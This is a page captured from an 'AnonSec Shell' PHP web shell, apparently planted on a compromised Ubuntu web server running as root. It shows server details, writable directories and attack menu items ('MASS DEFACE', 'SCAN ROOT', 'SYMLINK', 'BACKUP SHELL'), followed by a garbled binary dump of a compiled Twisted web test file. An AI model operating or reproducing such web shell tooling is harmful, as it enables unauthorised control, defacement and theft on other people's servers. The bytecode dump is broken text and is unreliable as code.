AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/web/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/web/test/__pycache__/test_tap.cpython-310.pyc
o

�bB.�@s.dZddlZddlZddlmZddlmZmZddlm	Z	ddl
mZddlm
Z
ddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZmZddlmZddlmZddlm Z m!Z!ddl"m#Z#m$Z$m%Z%m&Z&ddl'm(Z(ddl)m*Z*ddl+m,Z,e-�Z.Gdd�de�Z/Gdd�de�Z0dS)z
Tests for L{twisted.web.tap}.
�N)�skipIf)�	endpoints�reactor)�IReactorUNIX)�FilePath)�
requireModule)�
ThreadPool)�
UsageError)�PBServerFactory)�TestCase)�demo)�ResourcePublisher�
UserDirectory)�PythonScript)�Site)�Data�File)�Options�_AddHeadersResource�makePersonalServerFactory�makeService)�DummyRequest)�	CGIScript)�WSGIResourcec@s
eZdZdZdd�Zdd�Zee�e	�d�dd��Z
d	d
�Zdd�Zd
d�Z
dd�Zee�e	�d�dd��Zee�e	�d�dd��Zdd�Zdd�Zdd�Zdd�Zeed�dud�d d!��Zeed�dud"�d#d$��Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�ZdS)/�ServiceTestszD
    Tests for the service creation APIs in L{twisted.web.tap}.
    cCs:t|���}|��t�}|�d|jg�|d}||fS)a�
        Helper for the I{--path} tests which creates a directory and creates
        an L{Options} object which uses that directory as its static
        filesystem root.

        @return: A two-tuple of a L{FilePath} referring to the directory and
            the value associated with the C{'root'} key in the L{Options}
            instance after parsing a I{--path} option.
        �--path�root)r�mktemp�makedirsr�parseOptions�path)�selfr �optionsr�r#�;/usr/lib/python3/dist-packages/twisted/web/test/test_tap.py�_pathOption,s
zServiceTests._pathOptioncCs,|��\}}|�|t�|�|j|j�dS)z�
        The I{--path} option causes L{Options} to create a root resource
        which serves responses from the specified path.
        N)r%�assertIsInstancer�assertEqualr �r!r rr#r#r$�	test_path=szServiceTests.test_pathz0The reactor does not support UNIX domain socketscCs�t|���}|��|��}t�}|�dd|d|jg�t|�}|��|�|j	�|�
|jdjj
t�|�|jdjj
j|j�|�tj�|��|�t�t�|�j��dS)z�
        The I{--path} option to L{makeService} causes it to return a service
        which will listen on the server address given by the I{--port} option.
        �--port�unix:rrN)rrrrrr r�startService�
addCleanup�stopServicer&�services�factory�resourcerr'�
assertTrue�os�exists�stat�S_ISSOCK�st_mode)r!r �portr"�servicer#r#r$�test_pathServerFs	zServiceTests.test_pathServercC�4|��\}}|�d��d�|�|�dd�t�dS)z�
        The I{--path} option creates a root resource which serves a
        L{CGIScript} instance for any child with the C{".cgi"} extension.
        zfoo.cgi�N)r%�child�
setContentr&�getChildrr(r#r#r$�test_cgiProcessor\�zServiceTests.test_cgiProcessorcCr;)z�
        The I{--path} option creates a root resource which serves a
        L{PythonScript} instance for any child with the C{".epy"} extension.
        zfoo.epyr<N)r%r=r>r&r?rr(r#r#r$�test_epyProcessorerAzServiceTests.test_epyProcessorcCsT|��\}}|�d��d�|�dd�}|�|t�|�|jd�|�|jd�dS)z�
        The I{--path} option creates a root resource which serves the
        C{resource} global defined by the Python source in any child with
        the C{".rpy"} extension.
        zfoo.rpysNfrom twisted.web.static import Data
resource = Data('content', 'major/minor')
N�contentzmajor/minor)	r%r=r>r?r&rr'�data�type)r!r rr=r#r#r$�test_rpyProcessorns
�zServiceTests.test_rpyProcessorcCsDttdd��}t|�}|�|t�|�|jt�|�|jj|�dS)z�
        L{makePersonalServerFactory} returns a PB server factory which has
        as its root object a L{ResourcePublisher}.
        sfoo barz
text/plainN)	rrrr&r
rr
�assertIdentical�site)r!rH�
serverFactoryr#r#r$�test_makePersonalServerFactory~s
z+ServiceTests.test_makePersonalServerFactorycCsl|��}t�}|�dd|dg�t|�}|��|�|j�|�tj	�
|��|�t�t�|�j
��dS)z�
        The I{--personal} option to L{makeService} causes it to return a
        service which will listen on the server address given by the I{--port}
        option.
        r*r+�
--personalN)rrrrr,r-r.r2r3r r4r5r6r7)r!r8r"r9r#r#r$�test_personalServer�s
z ServiceTests.test_personalServercCsHt�}|�dg�tj�tj�dtj��}|�|ddd|���dS)z�
        If the I{--port} option not specified but the I{--personal} option is,
        L{Options} defaults the port to C{UserDirectory.userSocketName} in the
        user's home directory.
        rK�~�portsrr+N)	rrr3r �
expanduser�joinr�userSocketNamer')r!r"r r#r#r$�test_defaultPersonalPath�s
z%ServiceTests.test_defaultPersonalPathcCs8t�}|�g�|�t�|ddd�dd�d�dS)zl
        If the I{--port} option is not specified, L{Options} defaults the port
        to C{8080}.
        rNrN�)�TCP)i�N)rrr'r�_parseServer�r!r"r#r#r$�test_defaultPort�s

�zServiceTests.test_defaultPortcCs@t�}|�gd��|�d|dd�|�d|dd�dS)zQ
        If the I{--http} option is given twice, there are two listeners
        )�--listenztcp:8001rXztcp:8002�8001rNr�8002�N�rr�assertInrVr#r#r$�
test_twoPorts�szServiceTests.test_twoPortscCs�t�}|�dtdg�|d}|�|t�|�|jt�|�t|j	t
��|�|jt�|�
|j	j�t�d�|�|j	j�|�
|j	j�t�d�|�|j	j�dS)z�
        The I{--wsgi} option takes the fully-qualifed Python name of a WSGI
        application object and creates a L{WSGIResource} at the root which
        serves that application.
        �--wsgiz.applicationr�startup�shutdownN)rr�__name__r2rrG�_reactorr�
isinstance�_threadpoolr�_application�application�assertFalse�started�fireSystemEvent�joined)r!r"rr#r#r$�	test_wsgi�s

zServiceTests.test_wsgicCsFt�}tddfD]}|�t|jd|g�}|�t|�d|���q	dS)zn
        If I{--wsgi} is given an invalid name, L{Options.parseOptions}
        raises L{UsageError}.
        z.nosuchthingzfoo.r_zNo such WSGI application: N)rrb�assertRaisesr	rr'�str)r!r"�name�excr#r#r$�test_invalidApplication�s
�z$ServiceTests.test_invalidApplicationzOpenSSL.SSLNzSSL module is available.cCs.t�}|�t|jdg�}|�d|jd�dS)zp
        An L{UsageError} is raised when C{https} is requested but there is no
        support for SSL.
        �--https=443zSSL support not installedrN)rrmr	rr'�args)r!r"�	exceptionr#r#r$�test_HTTPSFailureOnMissingSSL�sz*ServiceTests.test_HTTPSFailureOnMissingSSLzSSL module is not available.cCs>t�}|�dg�|�d|dd�|�d|dd�dS)zM
        When SSL support is present, it accepts the --https option.
        rr�sslrNr�443Nr\rVr#r#r$� test_HTTPSAcceptedOnAvailableSSL�sz-ServiceTests.test_HTTPSAcceptedOnAvailableSSLcCs,t�}|�gd��|�|dddg�dS)zE
        When --add-header is specific, the value is parsed.
        ��--add-headerzK1: V1rzzK2: V2�extraHeaders��K1�V1��K2�V2N)rrr'rVr#r#r$�test_add_header_parsing�sz$ServiceTests.test_add_header_parsingcCs\t�}|�gd��t|�}|jdjj}|�|t�|�|j	ddg�|�|j
tj�dS)zj
        When --add-header is specified, the resource is a composition that adds
        headers.
        ryrr|rN)
rrrr/r0r1r&rr'�_headers�_originalResourcer�Test)r!r"r9r1r#r#r$�test_add_header_resourcesz%ServiceTests.test_add_header_resourcecCsdt�}|�dg�t|�|�|jg�}|�|ddt�|�|ddd�|�t|�d�dS)z7
        Passing --notracebacks is deprecated.
        z--notracebacksr�category�messagez/--notracebacks was deprecated in Twisted 19.7.0r[N)rrr�
flushWarnings�test_noTracebacksDeprecationr'�DeprecationWarning�len)r!r"�warningsr#r#r$r�s�z)ServiceTests.test_noTracebacksDeprecationcCs2t�}|�dg�t|�}|�|jdjj�dS)zm
        Passing --display-tracebacks will enable traceback rendering on the
        generated Site.
        z--display-tracebacksrN)rrrr2r/r0�displayTracebacks�r!r"r9r#r#r$�test_displayTracebackssz#ServiceTests.test_displayTracebackscCs0t�}|�g�t|�}|�|jdjj�dS)zt
        Not passing --display-tracebacks will leave traceback rendering on the
        generated Site off.
        rN)rrrrhr/r0r�r�r#r#r$�test_displayTracebacksNotGiven's
z+ServiceTests.test_displayTracebacksNotGiven)rb�
__module__�__qualname__�__doc__r%r)rr�
providedByrr:r@rBrFrJrLrRrWr^rlrqrrurxr�r�r�r�r�r#r#r#r$r'sH	
�
		
�

�
	




rc@seZdZdd�ZdS)�AddHeadersResourceTestscCsXtt��gd��}tg�}|�d|�|�|j�d�ddg�|�|j�d�dg�dS)	zc
        When getChildWithDefault is invoked, it adds the headers to the
        response.
        )r|r)r}�V3�r}r~r�r�r�N)rrr�r�getChildWithDefaultr'�responseHeaders�
getRawHeaders)r!r1�requestr#r#r$�test_getChildWithDefault3s�z0AddHeadersResourceTests.test_getChildWithDefaultN)rbr�r�r�r#r#r#r$r�2sr�)1r�r3r5�unittestr�twisted.internetrr�twisted.internet.interfacesr�twisted.python.filepathr�twisted.python.reflectr�twisted.python.threadpoolr�twisted.python.usager	�twisted.spread.pbr
�twisted.trial.unittestr�twisted.webr�twisted.web.distribr
r�twisted.web.scriptr�twisted.web.serverr�twisted.web.staticrr�twisted.web.taprrrr�twisted.web.test.requesthelperr�twisted.web.twcgir�twisted.web.wsgir�objectrgrr�r#r#r#r$�<module>s4

Anon7 - 2022
AnonSec Team